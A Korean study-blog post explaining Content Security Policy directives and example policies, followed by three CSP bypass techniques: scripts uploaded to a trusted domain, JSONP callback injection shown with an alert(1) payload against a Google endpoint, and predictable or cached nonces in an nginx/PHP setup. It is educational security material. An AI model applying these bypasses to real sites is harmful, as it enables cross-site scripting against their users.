Study/WebHacking

CSP ์šฐํšŒ

mnzy๐ŸŒฑ 2024. 5. 5. 15:46

1. CSP

 

CSP (์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…Content Security Policy)๋Š” XSS, clickjacking์ด๋‚˜ ๋ฐ์ดํ„ฐ ์ฃผ์ž…๊ณผ ๊ฐ™์€ ํŠน์ • ์›น์‚ฌ์ดํŠธ ๊ด€๋ จ ๊ณต๊ฒฉ์„ ํƒ์ง€ ํ•˜๊ฑฐ๋‚˜ ์™„ํ™” ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋œ๋‹ค.

 

CSP๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด Content-Security-Policy HTTP ํ—ค๋”๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ์›น ์„œ๋ฒ„๋ฅผ ๊ตฌ์„ฑํ•ด์•ผ ํ•œ๋‹ค. 

Content-Security-Policy-Report-Only: policy

 

+) Content-Security-Policy-Report-Only ํ—ค๋”์™€ Content-Security-Policy ํ—ค๋”๊ฐ€ ๋ชจ๋‘ ๋™์ผํ•œ ์‘๋‹ต์— ์žˆ์œผ๋ฉด, ๋‘ ์ •์ฑ…์€ ๋ชจ๋‘ ์ ์šฉ๋จ. ์ฆ‰, ๋‘˜๋‹ค ์„ค์ •ํ•˜๋ฉด ํ—ˆ์šฉ๋˜์ง€ ์•Š์€ ์š”์ฒญ์ด ๋ณด๋‚ด์ง€์ง€๋„ ์•Š๊ณ  ๋ณด๊ณ ์„œ๋„ ๋ณด๋‚ด์ง. (๋ณด์•ˆ ๊ฐ•ํ™”์˜ ํšจ๊ณผ)

 

<meta> ํƒœ๊ทธ๋ฅผ ํ†ตํ•ด ํ™œ์„ฑํ™”ํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ์žˆ๋‹ค. 

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; img-src https://*; child-src 'none';" />

 

CSP์˜ ์ฃผ์š” ๋ชฉํ‘œ๋Š” XSS ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

XSS ๊ณต๊ฒฉ์€ ์„œ๋ฒ„์—์„œ ๋ฐ›์€ ์ฝ˜ํ…์ธ ๋ฅผ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‹ ๋ขฐํ•œ๋‹ค๋Š” ์ ์„ ์•…์šฉํ•œ๋‹ค. ๋ธŒ๋ผ์šฐ์ €๋Š” ์ฝ˜ํ…์ธ ์˜ ์ถœ์ฒ˜๋ฅผ ์‹ ๋ขฐํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ฝ˜ํ…์ธ ๊ฐ€ ์ด์ƒํ•œ ๊ณณ์—์„œ ์˜ค๋”๋ผ๋„ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. 

 

CSP๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์„œ๋ฒ„ ๊ด€๋ฆฌ์ž๊ฐ€ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์Šคํฌ๋ฆฝํŠธ์˜ ์œ ํšจํ•œ ์†Œ์Šค๋กœ ๊ฐ„์ฃผํ•ด์•ผ ํ•˜๋Š” ๋„๋ฉ”์ธ์„ ์ง€์ •ํ•˜์—ฌ XSS๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ๋ฒกํ„ฐ๋ฅผ ์ค„์ด๊ฑฐ๋‚˜ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฆ‰, ํ—ˆ์šฉ๋œ ๋„๋ฉ”์ธ์—์„œ ๋ฐ›์€ ์†Œ์Šค ํŒŒ์ผ์—์„œ ๋กœ๋“œ๋œ ์Šคํฌ๋ฆฝํŠธ๋งŒ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ HTML ์†์„ฑ์„ ํฌํ•จํ•œ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ ๋ฐ ์ด๋ฒคํŠธ ์ฒ˜๋ฆฌ ๋“ฑ์˜ ๋‹ค๋ฅธ ๋ชจ๋“  ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฌด์‹œํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

CSP ์„ค์ •๊ณผ ๊ด€๋ จ๋œ ์ •๋ณด๋Š” ์•„๋ž˜ ๋งํฌ์—์„œ ๋” ์ž์„ธํ•˜๊ฒŒ ํ™•์ธํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค. 

https://content-security-policy.com/

 

Content-Security-Policy (CSP) Header Quick Reference

Content-Security-Policy is the name of a HTTP response header that modern browsers use to enhance the security of the document (or web page). The Content-Security-Policy header allows you to restrict which resources (such as JavaScript, CSS, Images, etc.)

content-security-policy.com

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

 

Content Security Policy (CSP) Bypass | HackTricks | HackTricks

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters! Hacking Insights Engage with content that delves into the thrill and challenge

book.hacktricks.xyz

2. CSP ์ •์ฑ… 

(1) ์›น ์‚ฌ์ดํŠธ ๊ด€๋ฆฌ์ž๋Š” ๋ชจ๋“  ์ฝ˜ํ…์ธ ๊ฐ€ ์‚ฌ์ดํŠธ ์ž์ฒด์˜ ์ถœ์ฒ˜(ํ•˜์œ„ ๋„๋ฉ”์ธ ์ œ์™ธ)์—์„œ ์˜ค๋„๋ก ํ•จ.

Content-Security-Policy: default-src 'self'

(2) ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๋„๋ฉ”์ธ ๋ฐ ๋ชจ๋“  ํ•˜์œ„ ๋„๋ฉ”์ธ์˜ ์ฝ˜ํ…์ธ ๋ฅผ ํ—ˆ์šฉ (CSP๊ฐ€ ์„ค์ •๋œ ๋„๋ฉ”์ธ๊ณผ ๋™์ผํ•  ํ•„์š”๋Š” ์—†์Œ).

Content-Security-Policy: default-src 'self' example.com *.example.com

(3) ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‚ฌ์šฉ์ž์˜ ๋ชจ๋“  ์›๋ณธ์˜ ์ด๋ฏธ์ง€๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜์ง€๋งŒ ์˜ค๋””์˜ค ๋˜๋Š” ๋น„๋””์˜ค ๋ฏธ๋””์–ด๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ธ‰์ž๋กœ ์ œํ•œํ•˜๊ณ  ๋ชจ๋“  ์Šคํฌ๋ฆฝํŠธ๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ํŠน์ • ์„œ๋ฒ„๋กœ๋งŒ ์ œํ•œ

  • ์ด๋ฏธ์ง€๋Š” ์ถœ์ฒ˜์— ์ƒ๊ด€์—†์ด ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Œ
  • ๋ฏธ๋””์–ด๋Š” example.org ๋ฐ example.net์—์„œ๋งŒ ํ—ˆ์šฉ๋˜๋ฉฐ ํ•ด๋‹น ์‚ฌ์ดํŠธ์˜ ํ•˜์œ„ ๋„๋ฉ”์ธ์—์„œ๋Š” ํ—ˆ์šฉ๋˜์ง€ ์•Š์Œ 
  • ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์Šคํฌ๋ฆฝํŠธ๋Š” userscripts.example.com์—์„œ ์˜จ ๊ฒƒ๋งŒ ํ—ˆ์šฉ
Content-Security-Policy: default-src 'self'; img-src *; media-src example.org example.net; script-src userscripts.example.com

(4) ์˜จ๋ผ์ธ ๋ฑ…ํ‚น ์‚ฌ์ดํŠธ์˜ ์›น ์‚ฌ์ดํŠธ ๊ด€๋ฆฌ์ž๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์š”์ฒญ์„ ๋„์ฒญํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋ชจ๋“  ์ฝ˜ํ…์ธ ๊ฐ€ TLS๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ๋“œ๋˜์—ˆ๋Š”์ง€ ํ™•์ธ

  • ์„œ๋ฒ„๋Š” ๋‹จ์ผ ์ถœ์ฒ˜์ธ onlinebanking.example.com์—์„œ ํŠน๋ณ„ํžˆ HTTPS๋ฅผ ํ†ตํ•ด ๋กœ๋“œ๋˜๋Š” ๋ฌธ์„œ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋งŒ ํ—ˆ์šฉ
Content-Security-Policy: default-src https://onlinebanking.example.com

(5) ์›น ๋ฉ”์ผ ์‚ฌ์ดํŠธ์˜ ์›น ์‚ฌ์ดํŠธ ๊ด€๋ฆฌ์ž๋Š” ์ „์ž ๋ฉ”์ผ์— HTML์„ ํ—ˆ์šฉํ•˜๊ณ  ์–ด๋””์—์„œ๋‚˜ ๋กœ๋“œ๋œ ์ด๋ฏธ์ง€๋ฅผ ํ—ˆ์šฉํ•˜๋ ค๊ณ  ํ•˜์ง€๋งŒ JavaScript ๋˜๋Š” ๊ธฐํƒ€ ์ž ์žฌ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ ์ฝ˜ํ…์ธ ๋Š” ํ—ˆ์šฉํ•˜์ง€ ์•Š์Œ

  • script-src๋ฅผ ์ง€์ •ํ•˜์ง€ ์•Š๊ณ , default-src ์ง€์‹œ๋ฌธ์„ ์‚ฌ์šฉ
  • ์ฆ‰, ์›๋ณธ ์„œ๋ฒ„์—์„œ๋งŒ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Œ
Content-Security-Policy: default-src 'self' *.example.com; img-src *

 

์ •์ฑ… ๋ชฉ๋ก 

๋”๋ณด๊ธฐ
default-src -src๋กœ ๋๋‚˜๋Š” ๋ชจ๋“  ๋ฆฌ์†Œ์Šค์˜ ๊ธฐ๋ณธ ๋™์ž‘์„ ์„ค์ •
img-src ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ์ถœ์ฒ˜ ์„ค์ •
script-src Javascript ํƒœ๊ทธ ๊ด€๋ จ ๊ถŒํ•œ๊ณผ ์ถœ์ฒ˜ ์„ค์ •
style-src ์Šคํƒ€์ผ์‹œํŠธ ๊ด€๋ จ ๊ถŒํ•œ๊ณผ ์ถœ์ฒ˜ ์„ค์ •
child-src ํŽ˜์ด์ง€ ๋‚ด์— ์‚ฝ์ž…๋œ ํ”„๋ ˆ์ž„ ์ปจํ…์ธ ์— ๋Œ€ํ•œ ์ถœ์ฒ˜ ์„ค์ •
base-uri ํŽ˜์ด์ง€์˜ <base> ํƒœ๊ทธ์— ๋‚˜ํƒ€๋‚  ์ˆ˜ ์žˆ๋Š” URL์„ ์„ค์ •
object-src Flash์™€ ๊ฐ™์€ ์œ„ํ—˜ํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ ๋น„ํ™œ์„ฑํ™”

 

+ script-src directive

script-src-elem  <script> ์š”์†Œ๋ฅผ ์ง€์ •ํ•˜์ง€๋งŒ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋Š” ์ง€์ •x
script-src-attr ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๋Š” ์ง€์ • ํ•˜์ง€๋งŒ <script>์š”์†Œ์— ์ง์ ‘ ๋กœ๋“œ๋œ URL์€ ํฌํ•จx

value

none ๋ชจ๋“  ์ถœ์ฒ˜๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Œ
self Origin ๋‚ด์—์„œ ๋กœ๋“œํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋งŒ ํ—ˆ์šฉ
unsafe-inline ์ธ๋ผ์ธ ์ฝ”๋“œ์˜ ์‚ฌ์šฉ์„ ํ—ˆ์šฉ
unsafe-eval eval๊ณผ ๊ฐ™์€ ํ…์ŠคํŠธ-์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋ณ€ํ™˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์˜ ์‚ฌ์šฉ์„ ํ—ˆ์šฉ
nonce-<base64-value> nonce ์†์„ฑ์„ ์„ค์ •ํ•˜์—ฌ ์˜ˆ์™ธ์ ์œผ๋กœ ์ธ๋ผ์ธ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. <base64-value>๋Š” ๋ฐ˜๋“œ์‹œ ์š”์ฒญ๋งˆ๋‹ค ๋‹ค๋ฅธ ๋‚œ์ˆ˜ ๊ฐ’์œผ๋กœ ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์ถœ์ฒ˜๋ฅผ ์„ค์ •ํ•˜๋ฉด unsafe-inline ์€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.
์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์ธ๋ผ์ธ ์ง€์‹œ์–ด๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

- ๋ชจ๋“  ๋ฆฌ์†Œ์Šค ์ถœ์ฒ˜๋ฅผ origin์œผ๋กœ ์ œํ•œ   

Content-Security-Policy: default-src 'self'

 

- baseํƒœ๊ทธ์˜ ๋ชจ๋“  ๊ฐ’์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Œ

Content-Security-Policy: base-uri 'none'

 

- ์ธ๋ผ์ธ ์ฝ”๋“œ์˜ ์‚ฌ์šฉ์„ ํ—ˆ๊ฐ€

Content-Security-Policy: script-src 'unsafe-inline'

3. CSP ์šฐํšŒ

(1) ์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ์— ์—…๋กœ๋“œ

๋งŒ์•ฝ ์‹ ๋ขฐํ•˜๋Š” ์ถœ์ฒ˜(๋„๋ฉ”์ธ)์—์„œ ํŒŒ์ผ ์—…๋กœ๋“œ ๋ฐ ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•œ๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ถœ์ฒ˜์— ์Šคํฌ๋ฆฝํŠธ์™€ ๊ฐ™์€ ์ž์›์„ ์—…๋กœ๋“œํ•œ ๋’ค ๋‹ค์šด๋กœ๋“œ ๊ฒฝ๋กœ๋กœ ์›น ํŽ˜์ด์ง€์— ์ž์›์„ ํฌํ•จ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

<!--์™ธ๋ถ€ ์ž์› ์—…๋กœ๋“œ ์˜ˆ์‹œ-->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
...
<h1>๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ: <script src="/download_file.php?id=177742"></script></h1>

 

(2) JSONP API

JSONP๋ž€?

๋”๋ณด๊ธฐ

JSONP(JSON with Padding)์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์„œ๋กœ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ(Cross-Origin) ๊ฐ„์— ๋ฐ์ดํ„ฐ๋ฅผ ์ฃผ๊ณ ๋ฐ›์„ ๋•Œ ์‚ฌ์šฉ๋˜๋Š” ๊ธฐ์ˆ ์ด๋‹ค. JSONP๋ณด๋‹ค CORS๊ฐ€ ๊ถŒ์žฅ๋˜๋Š” ์ด์œ ๋Š” JSONP์˜ ๊ฒฝ์šฐ๋Š” GET ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด์„œ๋งŒ ์ „๋‹ฌ์ด ๋˜๋Š”๋ฐ ๊ทธ๋ ‡๊ฒŒ ๋˜๋ฉด ๊ณต๊ฒฉ์ž์— ์˜ํ•ด์„œ ์‰ฝ๊ฒŒ ์กฐ์ž‘์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ๋”ฐ๋ผ์„œ ํ—ˆ์šฉํ•˜๋Š” ๊ต์ฐจ ์ถœ์ฒ˜๋งŒ์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋Š” CORS๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์•ˆ์ „ํ•˜๋‹ค.

+) https://blog.kingbbode.com/26

+) https://en.wikipedia.org/wiki/JSONP

๋งŒ์•ฝ CSP์—์„œ ํ—ˆ์šฉํ•œ ๋„๋ฉ”์ธ์—์„œ JSONP API๋ฅผ ์ง€์›ํ•œ๋‹ค๋ฉด, callback ํŒŒ๋ผ๋ฏธํ„ฐ์— ์›ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

์›น ํŽ˜์ด์ง€์—์„œ *.google.com์—์„œ ์˜จ ์ถœ์ฒ˜๋งŒ ํ—ˆ์šฉํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด๋ณด๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ๊ตฌ๊ธ€์—์„œ JSONP API๋ฅผ ์ง€์›ํ•˜๋Š” ์„œ๋ฒ„๋ฅผ ์ฐพ์•„ callback์— ์›ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

JSONP API์˜ ์˜ˆ๋กœ ์•„๋ž˜์™€ ๊ฐ™์€ Google Accounts ์„œ๋น„์Šค๋ฅผ ๋“ค ์ˆ˜ ์žˆ๋‹ค.

https://accounts.google.com/o/oauth2/revoke?callback=alert(1);

 

์ด๋•Œ JSONP API๋ฅผ ์ œ๊ณตํ•˜๋Š” ์„œ๋น„์Šค๋Š” ์ฝœ๋ฐฑ ์ด๋ฆ„์— ์‹๋ณ„์ž๋ฅผ ์ œ์™ธํ•œ ๋ฌธ์ž๋ฅผ ๊ฑฐ๋ถ€ํ•จ์œผ๋กœ์จ ์ด๋ฅผ ์ถ”๊ฐ€์ ์œผ๋กœ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฆ‰, Google์˜ ์„œ๋ฒ„๋Š” ์ฝœ๋ฐฑ ์ด๋ฆ„์œผ๋กœ alert(1);์ด ์œ ํšจํ•˜์ง€ ์•Š๋‹ค๊ณ  ํŒ๋‹จํ•˜๊ณ  ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. 

๊ทธ๋Ÿฌ๋‚˜ ๋ณด์•ˆ์ ์œผ๋กœ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ JSONP๋ณด๋‹ค๋Š” CORS๋ฅผ ์ง€์›ํ•˜๋Š” API๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค.

<!--CSP ์„ค์ • (๊ตฌ๊ธ€)-->
<meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
...
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
<!-- JSONP API ๊ฒฐ๊ณผ:
// API callback
alert(1);({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);
-->

 

(3) nonce ์˜ˆ์ธก ๊ฐ€๋Šฅ

CSP์˜ nonce๋ฅผ ์ด์šฉํ•˜๋ฉด ๋”ฐ๋กœ ๋„๋ฉ”์ธ์ด๋‚˜ ํ•ด์‹œ ๋“ฑ์„ ์ง€์ •ํ•˜์ง€ ์•Š์•„๋„ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜ˆ์ธกํ•  ์ˆ˜ ์—†๋Š” nonce ๊ฐ’์ด ํƒœ๊ทธ ์†์„ฑ์— ์กด์žฌํ•  ๊ฒƒ์„ ์š”๊ตฌํ•จ์œผ๋กœ์จ XSS ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด ๋ฐฉ์–ด๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” nonce  ๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ทจ๋“ํ•˜๊ฑฐ๋‚˜ ์˜ˆ์ธกํ•  ์ˆ˜ ์—†๋Š” ๊ฐ’์ด์–ด์•ผ ํ•œ๋‹ค.

Content-Security-Policy: script-src 'nonce-2726c7f26c'
....
<script nonce="2726c7f26c">
  var inline = 1;
</script>

 

nonce ๊ฐ’์€ ๋ณดํ†ต ์š”์ฒญ๋งˆ๋‹ค ์ƒˆ๋กœ ์ƒ์„ฑ๋˜๋Š”๋ฐ, ๋งŒ์ผ ์ด๋ฅผ ์ƒ์„ฑํ•˜๋Š” ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด ์ทจ์•ฝํ•˜์—ฌ ๊ฐ’์„ ์˜ˆ์ธกํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์œ ์ถ”ํ•ด ์ž์‹ ์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›น ์‚ฌ์ดํŠธ์— ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.


nonce๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ์—๋Š” nonce ๊ฐ’์„ ๋‹ด๊ณ  ์žˆ๋Š” HTTP ํ—ค๋” ๋˜๋Š” <meta> ํƒœ๊ทธ๊ฐ€ ์บ์‹ฑ๋˜์ง€ ์•Š๋Š”์ง€ ์ฃผ์˜ํ•ด์•ผ ํ•œ๋‹ค.

PHP๋‚˜ CGI ๊ณ„์—ด ์Šคํฌ๋ฆฝํŒ…์„ ์‚ฌ์šฉํ•  ๋•Œ์—๋Š” ํŠนํžˆ ์ฃผ์˜ํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์ด๋Š” ์Šคํฌ๋ฆฝํŠธ๋“ค์ด /index.php/style.css์ฒ˜๋Ÿผ ๋’ค์— ์ถ”๊ฐ€์ ์ธ ๊ฒฝ๋กœ๋ฅผ ๋ถ™์—ฌ ์ ‘๊ทผ๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

 

์›น ์‚ฌ์ดํŠธ์—์„œ๋Š” ์ข…์ข… ํŠน์ • ํŒŒ์ผ๋“ค์„ ์บ์‹œ(์ฆ‰, ์ž„์‹œ ์ €์žฅ)ํ•˜์—ฌ ์›น ํŽ˜์ด์ง€๋ฅผ ๋” ๋น ๋ฅด๊ฒŒ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•œ๋‹ค. ์ด๋•Œ, ํŒŒ์ผ ํ™•์žฅ์ž(์˜ˆ: .css)๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์–ด๋–ค ํŒŒ์ผ์„ ์บ์‹œํ• ์ง€ ๊ฒฐ์ •ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค. css ํŒŒ์ผ ๊ฐ™์€ ์ •์  ํŒŒ์ผ์€ ๋‚ด์šฉ์ด ์ž์ฃผ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, ์ด๋Ÿฐ ํŒŒ์ผ์€ ๋ณดํ†ต ์บ์‹œ์— ์ €์žฅ๋œ๋‹ค.

์บ์‹ฑ : https://learn.microsoft.com/ko-kr/azure/cdn/cdn-how-caching-works

์ด ๊ฒฝ์šฐ ์บ์‹œ๊ฐ€ ๋งŒ๋ฃŒ๋  ๋•Œ๊นŒ์ง€ ์š”์ฒญ์‹œ๋งˆ๋‹ค ๊ฐ™์€ nonce๊ฐ€ ๋Œ์•„์˜ค๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ nonce๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฝ˜ํ…์ธ ๊ฐ€ ์บ์‹œ๋˜์–ด ์„œ๋ฒ„ ์ธก XSS๊ฐ€ ์ผ์–ด๋‚˜์ง€๋Š” ์•Š์œผ๋‚˜, DOM XSS ๋“ฑ ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ ์ผ์–ด๋‚  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ด์ง€๊ฒŒ ๋œ๋‹ค.

๋˜ํ•œ, nonce ๊ฐ’์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜ˆ์ธกํ•  ์ˆ˜ ์—†๋Š” ๋‚œ์ˆ˜๊ฐ’์ด์—ฌ์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ณด์•ˆ ์ƒ ์•ˆ์ „ํ•œ ์˜์‚ฌ ๋‚œ์ˆ˜ ์ƒ์„ฑ๊ธฐ(CSPRNG)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค. ๋งŒ์ผ ํ˜„์žฌ ์‹œ๊ฐ(srand() / rand()) ๋“ฑ ๊ณต๊ฒฉ์ž๊ฐ€ ์•Œ ์ˆ˜ ์žˆ๋Š” ์ •๋ณด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ nonce๋ฅผ ์ƒ์„ฑํ•˜๋ฉด ์˜๋ฏธ๊ฐ€ ์—†๋‹ค. ์ด๋Š” CSP ์ด์™ธ์—๋„ ๋‚œ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์‘์šฉ์—์„œ ์ผ๋ฐ˜์ ์œผ๋กœ ์ ์šฉ๋˜๋Š” ์‚ฌํ•ญ์ด๋‹ค. 

 

 - Nginx์™€ PHP FastCGI SAPI(php-fpm) ์‚ฌ์šฉ ์˜ˆ์‹œ

location ~ \.php {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}

 

- snippets/fastcgi-php.conf

# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+\.php)(/.+)$;

# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;

# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;

fastcgi_index index.php;
include fastcgi.conf;

 

  • fastcgi_split_path_info ^(.+\.php)(/.+)$;๋Š” ์š”์ฒญ๋œ URI๋ฅผ PHP ํŒŒ์ผ ์ด๋ฆ„๊ณผ ์ถ”๊ฐ€ ๊ฒฝ๋กœ ์ •๋ณด๋กœ ๋ถ„ํ• ํ•˜์—ฌ ์บก์ฒ˜(์ €์žฅ)ํ•œ๋‹ค. ์ด๋Š” PHP ํŒŒ์ผ ๋’ค์— ์ถ”๊ฐ€์ ์ธ ๊ฒฝ๋กœ ์ •๋ณด๊ฐ€ ์žˆ์„ ๋•Œ ์‚ฌ์šฉ๋œ๋‹ค.
  • try_files $fastcgi_script_name =404;๋Š” ์š”์ฒญ๋œ PHP ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ์ด ์‹ค์ œ๋กœ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ํŒŒ์ผ์ด ์—†์œผ๋ฉด 404 ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค.
  • set $path_info $fastcgi_path_info;์™€ fastcgi_param PATH_INFO $path_info;๋Š” PATH_INFO ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•˜์—ฌ ์ถ”๊ฐ€ ๊ฒฝ๋กœ ์ •๋ณด๋ฅผ PHP ์Šคํฌ๋ฆฝํŠธ๋กœ ์ „๋‹ฌํ•œ๋‹ค. 

